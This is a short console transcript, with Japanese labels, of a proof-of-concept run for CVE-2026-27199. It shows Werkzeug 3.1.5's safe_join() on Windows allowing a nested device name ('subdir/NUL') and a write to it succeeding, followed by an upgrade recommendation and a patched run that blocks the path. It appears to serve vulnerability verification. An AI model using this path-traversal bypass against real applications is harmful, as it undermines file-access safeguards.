pip install "werkzeug==3.1.5"
python poc_CVE-2026-27199.py

============================================================
CVE-2026-27199 — Werkzeug safe_join() PoC
============================================================
[*] Werkzeug version : 3.1.5
[*] os.name          : nt

[+] safe_join(base, 'NUL')        -> None  (正しくブロック)
[!] safe_join(base, 'subdir/NUL') -> C:\...\subdir\NUL  (バイパス!)

[*] 返されたパスへの書き込みを試行中 ...
[!] open(ネストされた NUL) 書き込み: 成功 — データはデバイスにより静かに破棄

[!] 脆弱性あり: このインストール環境で CVE-2026-27199 を確認。
    修正には werkzeug >= 3.1.6 へのアップグレードが必要。

[+] safe_join(base, 'subdir/NUL') -> None  (正しくブロック)
[+] 脆弱性なし: ネストされたデバイス名はブロックされました。